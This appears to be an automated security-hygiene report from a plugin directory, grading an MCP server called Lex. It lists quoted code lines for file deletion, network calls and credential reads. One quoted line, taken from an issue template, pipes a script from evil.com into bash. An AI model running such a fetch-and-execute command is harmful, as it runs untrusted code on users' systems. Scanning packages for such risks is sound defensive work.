MCP, MCP server
Lex
Lex, an MCP server listed in the PlugVet directory.
Compatibility: Not stated.
Grade C
One Medium finding. Read the findings before installing.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit a24833523d54.
INSTALL_REMOTE_SCRIPT
Why this grade
- INSTALL_REMOTE_SCRIPT Medium
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
package.json, line 196
prepare
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
can delete files.
PERMISSION_DELETE_FILES
scripts/clean-pack-artifacts.mjs, line 15
fs.rmSync(tarballPath, { force: true });
scripts/clean-pack-artifacts.mjs, line 17
fs.rmSync(packJsonPath, { force: true });
scripts/clean-release-outputs.mjs, line 68
fs.rmSync(dist, { recursive: true, force: true });
Show more
scripts/clean-release-outputs.mjs, line 77
fs.unlinkSync(buildInfo);
scripts/clean-release-outputs.mjs, line 96
fs.unlinkSync(assertSafeFilePath(resolvedRoot, canonicalRoot, relativePath));
scripts/consumer-smoke-test.mjs, line 173
fs.rmSync(testDir, { recursive: true, force: true });
scripts/consumer-smoke-test.mjs, line 175
fs.rmSync(tarballPath, { force: true });
scripts/prepare-release-candidate.mjs, line 78
fs.rmSync(generatedPath, { force: true });
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
package.json, line 196
prepare
.github/ISSUE_TEMPLATE/issue-C1-command-whitelist.md, line 33
await exec('curl https://evil.com/script.sh | bash'); // ❌ No prevention
Network
Concern
can reach a host that is not written as a fixed address. can reach api.github.com. The description does not name that host.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
scripts/update-mcp-registry-schema.mjs, line 17
const response = await fetch(schemaUrl);
src/memory/mcp_server/auth/github-provider.ts, line 51
const response = await axios.post(
src/memory/mcp_server/auth/github-provider.ts, line 88
const userResponse = await axios.get("https://api.github.com/user", {
Show more
src/memory/mcp_server/auth/github-provider.ts, line 96
const emailsResponse = await axios.get("https://api.github.com/user/emails", {
docs/atlas/examples.md, line 134
response = requests.post(
Secrets
Concern
reads a credential or environment file.
SECRETS_ENV_READ SECRETS_PATH_DOTENV
scripts/create-sqlite-v12-fixtures.mjs, line 48
if (encrypted) process.env.LEX_DB_KEY = passphrase;
scripts/create-sqlite-v12-fixtures.mjs, line 49
else delete process.env.LEX_DB_KEY;
scripts/lex3-postgres-dogfood-canary.ts, line 1552
process.env.LEX_POSTGRES_PASSWORD_STDIN === "1"
Show more
scripts/lex3-postgres-dogfood-canary.ts, line 1554
: process.env.LEX_POSTGRES_PASSWORD;
scripts/lex3-postgres-dogfood-canary.ts, line 1555
delete process.env.LEX_POSTGRES_PASSWORD;
scripts/lex3-postgres-dogfood-canary.ts, line 1556
delete process.env.LEX_POSTGRES_PASSWORD_STDIN;
src/memory/store/db.ts, line 285
const passphrase = process.env.LEX_DB_KEY;
src/memory/store/postgres/frame-store.ts, line 244
if (!hasEmbeddedPassword && process.env.LEX_POSTGRES_PASSWORD) {
.gitignore, line 69
.env
SECURITY.md, line 127
and prefer your platform's secret injection mechanism over checked-in `.env` or MCP configuration
docs/control-stack/scope-and-blast-radius/index.md, line 45
Forbidden: node_modules/, .env
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Note
a file was over the read cap and was not fully read. the file cap was reached before every file was read.
OBFUSCATION_FILE_OVER_READ_CAP OBFUSCATION_FILE_CAP_REACHED
lint-baseline.json, line 1
[{"filePath":"/srv/lex-mcp/lex/.smartergpt/schemas/feature-spec-v0.js","messages":[],"suppressedMessages":[],"errorCount":0,"fatalErrorCount":0,"warningCount":0,"fixableErrorCount"
package-lock.json, line 1
{
src/memory/store/postgres/frame-store.ts, line 1
import { createHash } from "node:crypto";
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit a24833523d54. can delete files. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach api.github.com. The description does not name that host. reads a credential or environment file. a file was over the read cap and was not fully read. the file cap was reached before every file was read.
Date and source
Date checked:
github.com
Commit graded: a24833523d54406deeffbfd8099aa7e4dff0184e
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.